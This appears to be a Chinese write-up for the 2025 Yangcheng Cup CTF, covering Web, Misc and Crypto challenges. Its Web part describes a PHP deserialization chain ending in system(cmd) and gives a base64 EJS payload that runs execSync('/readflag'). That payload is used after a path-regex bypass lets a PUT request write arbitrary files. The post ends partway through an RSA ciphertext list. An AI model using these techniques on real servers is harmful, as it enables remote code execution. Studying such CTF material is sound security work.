找回密码
 立即注册
首页 业界区 业界 2025羊城杯网络安全大赛 wp

2025羊城杯网络安全大赛 wp

觐有 3 小时前
ycb wp

Web

ez_unserialize
  1. [/code]
  2. [list]
  3. [*][b]类 H[/b]:析构方法__destruct()会调用$this->who->start(),是触发链的起点。
  4. [*][b]类 A[/b]:start()方法会输出$this->next,若$this->next是对象且触发__toString()方法。
  5. [*][b]类 V[/b]:__toString()方法会执行$this->go->$this->dowhat,若$dowhat为secret,则访问类 E 的secret属性。
  6. [*][b]类 E[/b]:__get("secret")方法会调用$this->found->check()。
  7. [*][b]类 F[/b]:check()方法会判断$finalstep是否不含"U",若通过则实例化$finalstep类并调用其__invoke()方法。
  8. [*][b]类 U[/b]:__invoke()方法通过类 N 的__call()调用system($this->cmd),实现命令执行。
  9. [/list][code]H.__destruct() → A.start() → V.__toString() → E.__get("secret") → F.check() → U.__invoke() → N.__call() → system(cmd)
复制代码
  1. [/code][align=center] 1.png [/align]
  2. [align=center] 2.png [/align]
  3. [size=4]staticNodeService[/size]
  4. 给了代码
  5. 看Security middleware部分
  6. [code]app.use((req, res, next) => {
  7.     if (typeof req.path !== 'string' ||
  8.             (typeof req.query.templ !== 'string' && typeof req.query.templ !== 'undefined')
  9.         ) res.status(500).send('Error parsing path');
  10.     else if (/js$|\.\./i.test(req.path)) res.status(403).send('Denied filename');
  11.     else next();
  12. })
复制代码
这个正则表达式检查路径中是否包含:

  • 以 js 结尾的字符串(js$)
  • 包含 ..(表示父目录,可能用于路径遍历攻击)
  • i 标志表示不区分大小写
如果路径符合上述模式,会返回 403 错误(禁止访问)并发送 "Denied filename" 消息。
再看到PUT处理逻辑
第一个点路由拼接
  1. const filePath = path.join(STATIC_DIR, req.path);
复制代码
这行代码通过 path.join() 方法将静态文件目录(STATIC_DIR)与请求路径(req.path)拼接起来,形成要操作的文件的完整路径。

  • STATIC_DIR = /var/www/static
  • req.path = /images/logo.png
拼接后:
plaintext
  1. path.join('/var/www/static', '/images/logo.png')
  2. // 结果:/var/www/static/images/logo.png
复制代码
这会指向服务器上 static 目录下的 images/logo.png 文件。
第二个点传参
  1.     fs.writeFile(filePath, Buffer.from(req.body.content, 'base64'), (err) => {
  2.         if (err) {
  3.             return res.status(500).send('Error writing file');
  4.         }
  5.         res.status(201).send('File created/updated');
  6.     });
复制代码

  • 从请求体(req.body)中获取 content 字段
  • 将 base64 编码的内容解码为 Buffer
  • 使用 fs.writeFile() 异步写入文件
也就是我们现在能写入文件,那怎么去触发?
  1. // serve index for better viewing
  2. function serveIndex(req, res) {
  3.     var templ = req.query.templ || 'index';
  4.     var lsPath = path.join(__dirname, req.path);
  5.     try {
  6.         res.render(templ, {
  7.             filenames: fs.readdirSync(lsPath),
  8.             path: req.path
  9.         });
  10.     } catch (e) {
  11.         console.log(e);
  12.         res.status(500).send('Error rendering page');
  13.     }
  14. }
复制代码

  • 使用 fs.readdirSync(lsPath) 同步读取目标目录下的所有文件 / 目录名,返回一个数组
那么我们思路就出来了,先上传一个ejs,正则绕过一下,然后通过templ参数读取
第一步绕过正则使用/.        /views/1.ejs/.
3.png

然后在/在templ参数
4.png

多次尝试后是/readflag
{"content": "CUtIGdsb2JhbC5wcm9jZXNzLm1haW5Nb2R1bGUucmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCcvcmVhZGZsYWcnKSAlPg=="}
5.png

MISC

成功男人背后的女人

先firework8打开
6.png
  1. 01000100010000010101001101000011
  2. 01010100010001100111101101110111
  3. 00110000011011010100010101001110
  4. 01011111011000100110010101101000
  5. 00110001011011100100010001011111
  6. 01001101010001010110111001111101
复制代码
7.png

别笑,你试你也过不了第二关
  1. 第一关
  2. a='      #    ';b='##### ';c='  #   #';d='#   #  #';e=' #     # ';f='#####  ';g=' ###   #';h='  #####';hilogo=f+f+g+a+h+' '+b+b+f+g+a+h+'\n'+'#  '+a+d+a+c+e+a+d+a+c+'\n'+'#  '+a+f+'#'+a+c+e+a+f+'#'+a+c+'\n'+'#  '+a+d+a+c+e+a+d+a+c+'\n'+f+f+d+'####'+h+h+' '+b+b+f+d+'####'+h+h
  3. 第二关
  4. 'tsnrhtdd'[n%5*(n%100^15>4>n%10)::4]
复制代码
这个 8 字符字符串是 “密码本”,通过切片步长 4([::4])拆分出 4 种后缀,原理如下:
字符串索引01234567字符tsnrhtdd切片规则从索引 k 开始,每 4 个字符取 1 个切片结果k=0 → t+h = thk=1 → s+t = stk=2 → n+d = ndk=3 → r+d = rd简单说:索引 k 决定取哪种后缀,k=0 是 th、k=1 是 st、k=2 是 nd、k=3 是 rd。
索引 k 的计算逻辑是 n%5*(条件),分两部分拆解:

  • 基础值:n%5
    用 n%5 直接映射 “常规后缀”:
    n%5=0 → th(k=0)、n%5=1 → st(k=1)、n%5=2 → nd(k=2)、n%5=3 → rd(k=3)、n%5=4 → th(k=0,因 4 * 条件后仍为 0),完美覆盖常规场景。
  • 开关:n%100^15>4>n%10
    这是 “特殊情况过滤器”,用异或(^)链式比较压缩逻辑,结果为 True(1)或 False(0):

    • n%100^15>4:排除 11-19(1115=4、1215=3…19^15=12,仅 11-19 结果 ≤4,其余 >4);
    • 4>n%10:确保个位数是 0-3(只有这类数需要区分 st/nd/rd);
    • 组合效果:只有 “个位数 1-3 且不在 11-19” 时条件为 True,此时保留 n%5 计算的 k;否则条件为 False,k=0(强制用 th),正好处理所有特殊情况。

Crypto

瑞德的一生
  1. from sage.all import PolynomialRing, Zmod
  2. from Crypto.Util.number import long_to_bytes
  3. from tqdm import tqdm
  4. # RSA 解密参数配置
  5. MODULUS = 7494062703769887703668081866565274579333132167014632821313548612356114287792191446305040778987677683423969025588609780586722302041792065732461222120206217  # 模数 N
  6. BASE = 176589407974509728660827257088337183280645510941533692756437851307282715528543669659120503474533510718918949406280646936944629296899342927397139761503564     # 基数 X
  7. ENCRYPTED_DATA = [1719131405161789300725716547614879725769113740628924228040533454917595622840903436228598969968521441543327057141589401318966713711269892553169244263117465, 964113278787679232296826248818761720259710649328239642627188771651887183698074369890065312129654041092751189904383511692340770351754022502563890149659129, 7180032100218555793581544809570003629664245733070965678131518584876407472850051881863073521320984755175945971940415556560131906637963087186858520080371697, 7278553181711679696938086046655211422150759150466563658652641932706121629090932321563533275034734532076001967063515644128656393602962743436588691292550955, 7071562327710704879223575342701708951735351528142781335702085495652888149086906082135202373228913497958762517436624355411885769802496504666565676354985971, 3413965163746989076799750139073767902883585409040347485175384880698286295086116450668908874661042930824632513226077293241606579860623548134540683517014908, 2493137980419237578727401577689050256924458164349933679492226475837903464940854113255706502836954377682774302990058903802342341709302505294390801418750725, 703749624169528649423172151303101271192646139978197863166201332808455945099668517680963637470919081711543250526686176341295014062217859435692959000684769, 5552777372006623762153637976206247373873064461567116514205583015221459837217534008241238757247008799091465340261767773126491113196555017701224186953871694, 918649881529006356022520486484816231512805666160156627813534426042413247168928588303906281917327740699957845171374473789655487919668241329243582133954931, 6285703978527192585551573159606891208930436794516107083852218894119508169694143877674524233655827715834164790920008898708700696212875308975667988629122600, 4565821131595301933027502011473548351089153049383736095377526401155102463159616751554487101099963154256032338275289954196137233514236675026771669397448591, 7354028408293897066124750524181484721476818972892986974136543818332765017277627873430403568253740054915458886382543189082170087240348487233398435732750668, 5370948506146077094477619584844164469450740193602636179774449455880127521628083109335128118173115534332610858463108611379783295442004063901920934588114927, 5264618249900492494641837734543042035149108592251970720538191486231178008150113960789983442446591641558872707125645452698961563246034360954061831483647213, 6513125139607784795945254209394480461700344202765834488190356889718379145623802939872464483348952974980390526647516251481867437041588167465850330579763279, 52620337023290013903914225415366398097451588140952655430359196997791680150602457532377218858805375839418974188909630862874595756881940113579562243211345, 775093554420559931175017266481645409428391257845026491067921163052421942334076885330764957368346786383962145902618781943739922097363252316652283607626263, 914048088241148826108371208942589405682469984630917274361586075697273909186257822025064357297723973525670314758846319856122628945064355266653202993561072, 1718758485465991841245414039195480938522644294472549748650221527950476049304595476485962732599997579150503368277783583981982889346987154927101507640880482, 3799868282388836525794433906036101559515644339038944651012322840059136746763222453358260146393852798092848063172360236554578223426132040539709695100381135, 3541865174568168697294834871089000487969014255500915579720513796774493370375651716014189600846999507589235976876008482115085123321108899283458508107510708, 6000111495661651346419232325628380353801785608433408743076908483918697534471280088938990190215957446604722506848253899718591876551867311203096077403838985, 6253643173046003965172103471353294842929872969494447058212794601954925177820636419552603198473445815972743097407679550852152643053405332612211745405332236, 3301079724821832397643038007452730675302156610908305347778741871384798374227946277783451519330389318088909510147809102641775328974699514390298731313909687, 1248278146668201292214327233268028972221372405786614328994300795922144408065760109909225108349965423934399901773817666437324209525167313013233374255490341, 17809989234426531897711362063266000858036114386386437955591948165647126143714107280698225084031485609653761182599374776216415414615725852044222386846495, 1661946354409283005503290687407078585313095801544853478234539059133082174146794355063441110138389247071025068313051928793440081562801370934061220659218973, 3481251444257400845597778000348529981407942860518360805860568277796650499062181666607012363114372102040179799153809888913119845876313769471779340858338876, 2969490420318820259350531448006231318278582262600049331743678866118050880783483645642510041073429073243453725770720706320332268044688750661292078028979335, 3746865059857437818811880344927694504919323866440456997581938615029691388341367848168362713237849327709450905392250312067571731330018497478067686594018132, 6414151657475702425103553484192843477569332767732269426785411087092730270913003364189614686242850187047986876258300960693169393750824177216508529662234213, 797558248081581269791936744046534433754102319942346494164420485093365412310220705062195475643430216836300501373037514530383745068731206920391719336107595, 211290089421069250441951189931336059679623894381773377988081018141988531437338679750645077474735601860432864842281371819708149824891948519030895420519030, 1794231920218065197933780116555108090284583898967611429728593823431793820927924520874618656711221536385876735688904568658652603348802173053969712727002386, 3268939580240611859647828123637929700992292317648760631515072489111975481961917697818232907939233298118646952108050134720023102457396554791758521988029264, 2910400866406729971100645087368695425677190058682583258307344966890785684989660612007133955031476064701915897780213369846363057638180652762644360056492393, 1753634247360680748520396316679919584195766557657458978557525310876515530033205449036099346746308520147633420067552976918114250433680953921765598314180983, 3876905776705628742632932249284622473357566092521460519013655727145234003433056636813923927778056586962023594055056861628544916760223760117474187444496545, 5959757039471505023113810701594324587613979217054687328781590028292142374208795570511709097095700111968262827984916208477693878444057263798564347709888202, 5374212474448450659724052626650430405673802248524884606302970663761976182941855505391179280755676342662418610617277668670474814168416896429520313939597767, 2055896889185207571213280393315847560444046333513466771957557479078164806187564643168577419348237799621057031775648293598347733861490373182820677381378382, 6084180500351180667123078393533693640255690580083210646267468404882571183094540661640084049762845414479154593898375602385822298574856183074850792911106475, 3373312774563093163010129680151226058105319897529241198281250691928195482716352650367126227218466856118453618801529505737903976091284055911347689061302750, 5600613756600329901263575945885648357446016071302264740790132322511618527641942000971067162511999091860865805745249550461955543014240889756869610044386830, 565945146556577370175269421734632130524544950564185000012594191146156168497827802421464428023451361587487129791827715132740776489947656482876818041710395, 4419359702572617933720973032897202104646156281092165587096093691060322910173330285963896187228742075336248059736486715312182113162090187842887917225198105, 6732924059366668920894385271467332116626834821924295390130136750095051875943650636754241219922832137028249995112017036271155409562266791406988328139570914, 4495392885128829930220662200671891479267861280799207451437151436346621655603861139464288261571103158714822386121519285152743695793865889942477607602335718, 516191395086928212766209551469502961241039772380081865514258427895634350230591557920648679951263902670998816757819699890588888029203352232210221754736785, 4146487915484179974920534563827027195707813478625722951261821711910606845153039576521959101508563215765201044289048428600908217925837652310124915510341932, 3432461154387141838854432302561862411336401854462422257017481125487610204007668654133357657106930012600550268131672691788212721805565222845238288446619087, 3601254026199630323639535442605056670834549469220992976345167307635004486606724216487154765164573243066829330632733535122894678992653727052397053986132826, 1618063488973978707067053379809094677794500564413909131937711646498014134984829972479531757101147953755592304581380642611170793926818523115210707234712044, 3299106147405405908279511567977405684598081731617232933690852353587668822362490176897266329385254166643165981901178981601148310259069261270946712307052287, 6846858880481923863775499748822777630389003917575860624692860915711629300260394413803865317383341262667738631584376587860442474485970911811441407998869505, 3215680123677279767509383928448414910856154132962428054738233887551725977011900633509877553773159881830993305654759486684559926162336270761361352903248906, 5496469100230626535889840978610193061034187786011281763132817534290427827123490940379914187047736591224080465866972686806917004455884875885392072705136262, 2864050448866689851550126165042634463286502493605078932118550500351115607434286505518309707879537491758153292649368748959232286095713413881178866211306184, 4500794235021983581118801298719932989859621658774316125080804907737574170999060405545603577489994073878810075348075173731946880543329899745443548732444876, 1701258881406817837344122213432825514317089016840026389777486407711921900810281151668164504886822337041945914284089154555311876886738916586249310394242144, 2984171462545577867693527742598733850500836872522276155309752203056132077977619491102054726531485591179847361987296235015922863770262186186618295183723446, 1998926203120106981499354901600209873092892311318255853016669434308301371829441087485487756331320946452792335453335927680373337041761159842898915149201179, 3469492629999069000683776994430893428957909349310623249977562094476709953253742271332297853445535357225146261322101259474378435384708678748415720242467540, 3349914475771629308828905917005193744238305669008642078094341995325423686776721646729474139382764356959059181003457997283589709318709203241867049163256581, 7468392128544523237775713086484103908765148777703251720272918323202486976726742964761491640452081344737220655815645963181061363248298874559444900262714573, 1729266554298711903381745052839477316871436688839679347808674399146779681916568119199086784315276797289562994666044199187380582322617844969124430814454548, 6228538620625194287858621303133971552150705646650758139647779023432126427549820480427618151324541658924957545324616066238824061705745633641214275957991081, 3546839468720225332704665245411296743840905483219842481039719851980894104931923459881724541431075969186280998189306821850975671317650029607773347695916161, 5003551427084428983200151485032425697792005126337901966755431797351030500718183179132025845871647589818441943961234639702209617589496987864848129100127593, 6643401571072392628300121738027765343357360200657797255110143010788618241485245543978227055741141818227818343153034503487586819791678669963057997929991784, 2562918413517151253133047147553339218659758059455474492224243333036381745640439788034759400244452717377825285968188174779261990526295746984726199948357377, 7437872392009105990711193901375305261532202846600610535045509813031250270429778869989270561580501500053229850333918780287345929478293978347645384915059905, 6850572829594419931082710249610527681880536306821912519718049378340748365289283573389390433493649860281921041642014059014544763795622118890759757777078249, 5391075547621734143075000188679602652140572736807843159481908765322403510781102362672205531750495436812820132672226065133195582321646835642286378831941543, 3935125186916665518328217311726809099639764144566121189586832906641425799098767258076447046528585648386651376836505914154172263924716118916975346746484099, 4572088871540278868361905512095201060151895510763732328882273392847208802234202258956786836058932994420932737481854686339575922886423137765225784049712773, 2262643703371965676721577847097874053651347517824305607234082573017945386641624532722022439799966228277016547769814923059355040626796832522381865787641290, 2092350463144324366602244022289003459109077119526268364543250731686788098419000629227383382147140047995570425746800878972214312249056004421397989221181338, 7316680967185838685819431514989962013693801413153393375368271255171711307966620721060733924670697124665299505476656849274808551385135203863367484594415282, 3992707215646916729947167763158938832402267287149607401065208090606939456846897741262125062082608028914675505843323650110360837429016638270325538346446529, 3069746271933542384918749040106031985080879021375771977808787824764440797512721099584567534097066479635471475762441199886178414827079781736989960199117761, 1766633502410468840542337696250749470477723118225887560860892798969566958310115225512339080511591120596372154776271396511188940759539840806867695088697687, 7422176702934281594092464214932251290119989126208580876623712378595196239646922555040920923651335839658719813178585655273281566581347270942656459655633831, 1076250672488724366299364554828924941179689773925009019426859578123703178494639141377582749659649879771331267946731559750959047347777630832570175900797396, 1410907054396321048600218685349536875889137424876811975163068514508744181288075473743359405875373746597490437227185497238385367523145376472201142188317007, 1399913830686011566618870183203250354810701185080554159064967796846290561704336488321559729397413774978460864013425684578017379091810583345546666411795427, 5442664420577177620905419312024116329584632622515715585913615715633055426416008950934670882398446114586893092091857963411004865110303405260629693479911547, 5444954789918365554465548204039461146997193180749209395789901122397246308255827362981351771251560236242646255496804381448717329602292037192555016677597049, 3692498380370159772309045715435436241311628169449536956138346402344911382662589313178130546965271962111797201610136351183369686485141336803226085619418804, 1661763472840328250526914905015525414406950272006598484866292191029914199500142371574046051673263254115284188720822715119568858243297684058718905784007684, 3591970782090757037238666567970281294829543992746927793222143235830463164152104415435233805874218282003088257755255830086210161671004004657169607587797031, 6408023979766552418323731655071232468814820721387864760342245227191599544467260453668301692632258293269233587788621263414509088714249331129218692482482634, 5107805331532175484179055961952547381531796475066432203418372765456840027280422837685555493805745435808655780536058639621407087913202784702495464911546300, 4797651536825295062608601255174248375502070662844324403061332457315754966507899734291832623874042314773932234723903300304673474844878044257723908663143633, 3381383877574350137522503821651560196443655576836134099019270524161940339533213692251540628743332895341002631990265662425131251518493693690750762808468808, 6958313731633073957446795849813233488765978764962619450590198540106777161715713215615033500808990591065365646295188315739669894282317319917228576278018406, 1960896405831292842605946619322834459362478823214925598149312724064328946214721789578814421678051144409236436766449112453593003328541192215192091933636734, 5632565434189438511307970717039852422184650151810607594958003725375385054015515256694405836817603452184736804987152881592354076205852546432030648057787591, 3603573992862714326961608272055291746708398966644592880817919800689293996666084571360391289272725497533046437441348306893175193890447914165494201524939611, 7474903502691814215567498428036645893505450281007799941238583338927406722102074074886778315274903489297377307154589449296202274148415972995482124963310378, 4453834861530051663457391436061966674036353387512847924098267394664245614544771920533048953529726769319902426772202891922371527902437458995604135559897851, 1102786889014137499942575507239978485536138217014375582488960413776215256742762391575571866269018253288039614227206226202039543826442945749886489020760555, 5819181457783611322733307742961052216159362723583927036792457371068806372047511415871771095654975468667138447780552955555513555056638821310631326088097594, 5350783653088149702130249422975425885358619638687285801319976913799219400957008639254989350379956422983174438616208248304178124943482159284688856427882476, 5407975892037877366747748247782784942626359392474490780401414242364609402709342063455017157687455426515562553403339115651619199260531719653695957995846884, 3794517216114524931330568036328063154438742706470430935271654450101636722629201788600435538678842639282204176078037775374577552489185921746586909494709350, 4813028683812337453439667232870428903347796255558450545195312222045031131530622492027570707117120567406833197112818961728314990337577549922000049162253026, 4168736532607887316867349506801730616149871937845395236694642506228574010442218053546084300084732240913201464341954608314193461339805167148965648305420065, 1644304673790151876822988473398685569445274466381097877774007588201165178580712478468318447654023766385962993642034440933486990087125016522481841525554418, 3272323811435548017098544676604826007281263207819707608974094419359845453827034021810308365205803808699793720434269958662733173559568693626725823830523951, 5113801222212223501585351730986251406089347057933870761166300252137101694946534210218482910779905716901903269585780429909114166918554650475679698939666960, 7367185236608014997144093713637831607813060347567225401435614840750615529359174788566627712415047019096391395987848751359211444320984364229040264232250347, 7328203064198766407620423511688647756732110754940462554167359942514912469472984874557396302639411097192166622739582506684090980853183532355356052013342850, 4523437218949006375173147004821491515506102502361607007444566307575381985145543164175889101976649601833859052269744348750790852031674142142321082080085374, 4273724505478240709533318976927602969075241856805102930644158874077102056271888560132009557308681384622946139372093763035004181594255612915451147736163922, 6633892462580042565075916146394014519934031456492581582696232902841995103321193422188963008664195377729749850289925799058143308539926631025298457869995251, 6169509944247962483385971098172418516592483966802035575349146386090325439457514069888832962415975113879881882573914698994132676970153204571161798060426959, 3256285626248446069935491899723799034095282472203915097687613854820767136629593585466663358480862140720477783952337168780774053750557343432373284719605324, 6331048185438636381128034307611846554199395294157903145386120516890114507132379097517463425180202574846193494950209454453553632205650001493733796628519904, 872181738403065361439465891100646927249351162552483924373320861025554171774143898435330437623419172431604704073899981678143805063125593789710949875122516, 1406480544629309137345942503005833292510530606658754179375250810785708465402024768464574239863242249391002243795549240771838259960328505710236917365602769, 4020383517365233059652253581665251883953184234325259330945739695799565543827794949986727000716633411556662208246902665789611951648513529158140999200113024, 7346076089884028559213574134808525732835095306489092835918646066756549284164774398813938145931120912498453579901815220219468490650593937084291990354288211, 1008972434939439799331810249262929830147469066388391203665051305919048565370719225975124026561354338584744357462875437960517547611547607749587446866984935, 1138122237018236024935463826962583703013383242319197251197782587764218994663318123794558118605019789805912019355702488748683288332172316540925168750693011, 2885036516023118722030225530875914783030452796945378973822517308409880007238921004962651806591949710395931071204946896956729539921657348605524380894930856, 1174919165709784308313801272529063114770102638642632279330761419309844157681097269146632909060905564422190917511823912287330982603321715149175424540807952, 1822172277602306307918505892660741934416829038575877346501827396986090046799230643060549831664309656676810862706623935921947091407228861553729177922296318, 5798551777325590632177977920490032880922603263787513188996760608217601251643800441987111233182981986500698853750265906110850519820622976320938277809651087, 1631039142231125671063485591884891109153446082339835397144824990636459540931037399276151130348668419063784251547609053785203594251895728982617545190172625, 6822585018808395924522283374321949362419741477559411771776139631041068953146298150241412984989810280716688415214705618585831740551540546538938751840941920, 7392532999825772747021016705769857947580453970673977933293475059754713255060925594043184430406915634257748695843801122758002808630682607391762847322966347, 4200416043633707481976635763461864075711000129209355574856577928270114110650472059960184619083933076056361124269826078226332159847946066219525572748411389, 5831499177680618517701718051808100176327261455306947899404567341304172999546796257242430716284215830378313170750113495900378450488985702527654573407591604, 217382391939302040990707847001419780554662478483941291607895867830194763224547323386206597668684960652790216684122921104785843850008974226089640615359588, 3563421241650880780082226567511705159836428557509283040300348054001847792941943033492209255595342155329311556390787151388283881020228395873713082890388429, 2834501312583471840305615819185051972323433904228846780534686268394437510952673347232865988163605618916585394772423752529382564690787164667296165701431097, 6868235591701962890942206085524935228181359564049485424902722254715745788451657979258980320805294461759383983309768035909047537011184542354343426226535954, 2772923054484873603401843956771430778727396268783883521927369969604621326253333175756879115590603548737490996783800762012865049710708133535816778453037797, 3622892067090536628337021012065353050269995872027790907041571871005896492558194343251769120410955308732501439323843012189523634511537530174600421000324152, 3174382616868334923945145958891531833810784973832007567638313125598593093295762652554591142635749155979753746488256396393014722030104836291045197465838874, 4256588447149423373516508900510905722182922233502507560440170423785411636330486332004710720420308453508981146707491199490587821515576748623301614087560564, 1736287477504227757504390658454291750300255766127813696614904571418247794506916009652664930087502577299347386893027620051682352657093167964886525901374421, 3326252254728387004599613046242779602412782347654728014950813737896800835206483664278000869822394572439763801102268423371282992356160440168810738590406525, 697910014539157236690695873831129300538900674883953291931508969476426457003962295226591860776440915513707907151961779292122853870463153483378009272618702, 2301211850580231081276758728582342727269395486786405951294889701663387598840276569902515897473453845027548603307049976566142946803424132635663886899432250, 315134629471600303606805305663881030546935294375038155917587099756091620477632647493152587633141267040852979734177862014845266092756864325812651667377650, 7105462121113915447812110852869002434387137111948584715566548923138131722450734296424572169741302092574907865287898578058110758999979994197441828438056921, 3300300591377886134914089272436825439726939308122191385395076321727068481400117340100390975845421186013797094071096642022701305779531240082056215170691907, 5209908581735885427030041366511127166296746421936096315739932763700621371081873203540124575726441671832663224261941004139363982285656624124076705570886583, 1154686459877886409675101523833930326905606252049963846151357136126939551475321758632100365527303102685404974694677599534847589621867621089770303699361285, 4768380791599822404044581653236224254694100631155418993737177544254889720459051883461358041571437042827894169852906850161204129565226838809765484772609831, 6519272360175262368113444254043218251217473485512896505557613922384188172491962719027588019777642497760243610433358337890526001529714004093998089260590115, 5539053249581890877425019909295492880000650434372972441302487949521423968861816558288431070612199580172360997204812583587269469469582544485916148352980019, 7180725493335662778242589228754248140612619896535054327216184922710308418403398518192440627395933541113479319874938811558186010920295694184045531485103301, 6439652947081203383226127185295273926558072564125585015396134417913331369040663238840768380192024806334946864694430434463548427598694769442936350810041659, 3245465276930424842770152552363153855198233375845821016547134156655891546285445242176777250757720931068083764965941212175322427899699774443320906683613429, 3330671010160974790941557013449713059118567356889116146371058133454602203996735161927560264154595456566285024657648571607105351387609456058119560350941195, 6821986419382358618871417612473438529471138091490778402693730492154877205917973035166251347694136203207428205689479652787363100732238063420083552446912260, 3973076314115837840388612845250760051181878076099196039596384407984515672700339516672228201427593379397452187399110835572187888841503596454971054349648092, 4936865509410441306003485456654600435810022782089161209298988331334616218685789921793418818836113871635837564047061992457013576475065200998084352420428693, 138700503419145956820788052657317918621923476051057398001983824874083519362023997368500147088665561211553435550394279482027931753726863922667218079958354, 2481786561756785207325906602147091808842497737642832788362792587651848852965242072409069192032646439501804678207202584354714469099159965020749372900819062, 2572966397365071070654120221944623158532775269276617023232067395512962802028977605646853130003871292401009669087150435707928913057761970531126725262527731, 6324132522312380727155066269548600361416732110581522652127899259603830770942464277650267364774579111002090549542565838880699852117422754835525652571111849, 2339251080737087010136154732037704737484014327068033130667640873437734095410095181193334660070307269260017108710970839423039789699516243549061662798490748, 596692309016675332246236030453828565625198232854941478287361932536236803232591604919152974295482597894350887233951933917242763428364741059557194730860867, 3231925023788832994639927822147159988469722574330335702382566517642756463720380913469258624450017736103858240295434431615794944500782164779140509374498292, 3706194213005303193311186330859543390006370237235447956684299837603246086860980931589920333787040703883765235094478833134950007831634936427977327272441677, 351024256493381590147178467314615210963956286682422412361822273493021814307927189899504167964982069941389869877771567529961020428594916729291351164766714, 5527906213702976931482774431672879512905804887186892574131908318992828241389901891585393350658310205639068315074785520510255856601931455867600239963166247, 2017076351585850676928548286482304434260902340533771340947124642362498045552976855585229734403073967099459032309056034517546496946485569947711672936232251, 6606391007643552845461410755750177103306894582904290466795769413855622944986111330918202181514262456259757426756554119919437597572245458049760121890685483, 3976794737583161555378790610288650216881769787265598693932584021164001340767600778974044896395016019753175398434145183346770881863807773607083321813152146, 1976570458025947190299436162893389666532602499144231965436624094292400273521696468612784292454941928317981225222042869102889153436884226004257306664186224, 1333572090763864365501788638833125474321640098421570543062623326970047533378026300659852738096446689374149500630940056168504384744386304121981986069074738, 4094376382372907931741683043621776016252091214115739978474741756393227937159593280931477025956477809531851227977187097210602357391255622982813562462642364, 6264383009683115307078394260047246870295578204759486788817491791169929708179029358066449000448698444449475236674501117676412946172614530804780574420628105, 199137086262687063307305416689167530127371905785989526590867601812049713978470802038076806024081100770722011954217193560464525063012271013485100046480434, 137370596585451885626683935778032489189662999701803014246673300724221630285697975615640788752297655925153936704108286838378712159128589227953108892839067, 1675200126924372537477404902440194684894618968086946292430615595770747465326052214117955845424144297606123329226704863582536702296456881683200467264953084, 920430840642252596014354586324532907994647101175450197778140838389450328950544750243919593649180694276270146041567020826626028986987527221446993999802488, 5728938330179054856695709301384161216687482774286804119491221949127809397170831911448918330662082491881325648917471998112751914425749543963813560036115462, 593719328270634636680020982754644279380725204638837460008530459410091974477057938651905935975022823774038282566052812040059930960095036828109547728808244, 1643546173278799238464393279676091384769967683609512488490651937924603308582697230534481193558624001742810286664081883578532841792706230914808086867461495, 4950051105207396429773774428166075000334954821837737397232251436180818678710199211724231773966528636362313843123212954531465462181993269072316970641483752, 2321277584052677386109144043102555431537463526323344804107445290609657090933455927487364656832031958873005142137183551206203381350955112720970983629475684, 4579436233520661038161884029091970187080828058613144386236685859057904033991019280601043878403765169660457722265308860322878865696640767650494852640425277, 18906136137848496579324560678747031381788029072767996841559376494499137524554845226393032530233707147980671422307838425424818115436891501593223022031827, 3649739447103582098076238608317392519612960237580342548776236425045996900841506099933841198429337672932374664711953830865692945603633311211804057613236324, 6228248267252875664628627371482930203797923900755249884900489349175534284948790784868686455242930775996109784153985021962472756596423498541138085487322723, 3232259016167568396088636124691186778872755608979528475941705605372538123982530089543735943732668890939456701500424525813466899287571731973313921868984805, 5230180726800777097714472558016559715011581240550241042117243307455060250183937192110232322958177161094301709569356532188804008960304943709517659100012009, 1316182411882810585716069785492527119939221679926043191741779246579486911220519569558733014732939798403126398938304154350259601846917283148808746705774112, 5171393541792955967386504096724384486848387545027162506058824561994639378771299850868388303197135071554546442555505669680390535567513140238066731199431524, 35024069142023136144503873705187851775772996841748742043201622416528228333326846510775142995357882951453924641801621144372669846361298917545554103413182, 2137302852938511100617562003058664983273624114396214242893654581723221516655474918148779088953177782808419941448719984559118447096665545427696709937842713, 209930536158403353785934337280825398110386976890317925283707497575319531810780655757933953255645828866209390042351830836279337190397061501517408059277687, 3872986020267814657409271626722062503718111147627634098489147832056854032602800946436266352602142926616365232206071229597298304206045230548365661951077522, 1353182967413395061816484502209760000851237923728283774521553129820727442479338500131723368608904090168808192168529256743509840312000677736865380507537597, 3989012311734412151789222401298139163313553222907339266222343038762544577268515336723689194007193558263264033766563400869470061614041222467740729897778945, 6657934627409610222724351577670649726837779633184629144454851695438238638414565047620038308540585583268640359657949347136804823986752924495443174820297207, 1939957578240465449128685156366892125093156232541825538491850379716359815561015886172690604751039310402525340002812702097520600710037750287074101266805367, 377509715569111235799348790189128852911568008132618928612437037657021563709052313331430741131984546631013729797441300895357352523422174174809430228688926, 7368177743257889839799014630889959868082821591970785238021132865083837866069262950226618481068147023276973364092377863002882245295200052579960501239119196, 530830086210176067129258565875145262804901495700273204508256051933953374358572473802632052068174957448979978484249171505601497376201648157539650093189283, 7376502080925571165446902809763768694636061410762198687423828839330038942134761149049375581034657573374142320225725569977961901705450162870025527855762012, 2116346943204098782880885073913590762111226360036146748574267130728082070017266442714183443559725139912906721658381591908291299672511209398838786833026709, 1199777635466712774822205543754218307068664346791144786672662649003222367801203289358430843195259606424099228487895878674265477055329794956881054654716026, 1065047154492119587809130315926266634540312877479768838833721668340501716669517402638318223576664315605450627948046791863572627510566106993841377518051440, 57633491995533694973891797097577071270988915839965047519210039437757302634275399532642415936872646564776006731728624721483663422906045459777596215800302, 4387332259562199732908790016236494236575320110997164079966354117865561681913540018569486901341373579954728471417127066360146207405700122791914392223220374, 4912992173833881386838621974988117654635059839417714188337830801866998890203701279633706380019338050829956062780063083253085600338877188837462216423352515, 2131552631311009454861522771076696810466488782774072213678563451902847619730588023506731533122367751487975954054356961940799989994662298609806639374383532, 7330743882131510030850866494412341449415034749906932700942413372538363383327644179653467033858265470706634932159215618772560940313556355863046255441278467, 870604086459655029733256817860700701454236753458109416271222662286543283512867597595372666558165665232229331184146310877052169182296521503123019337439263, 680872135547510243494174626424856445629938462451189170183328643053275121638922821950403344522878368443252128937220909347015476786456818467367664615182582, 4724755014750126366154144612549612395192354863626845042731552287761516767759334583006493386068786737770070472800073340309754898657439678009537319332588077, 7033346038932236950889937133070711679204593535527563435243508327767199339263572857029806368736783025382461394453552346779980043507060604530741699271587049, 1488758945001976173736074193268523840116905967041374845299947176295647941623801576745116031908900162845435819502098566854672304706945102955494986567499180, 20319243686071492650906176986595192356910885022304521348362003892920034022589581031001779558837253235453466624134363975636645241026288893879461704222039, 3145267824376672830793568703183954478076762941060877390697773144210967898556496681613052310152161622984166937015938600723987465406736616195115143840204272, 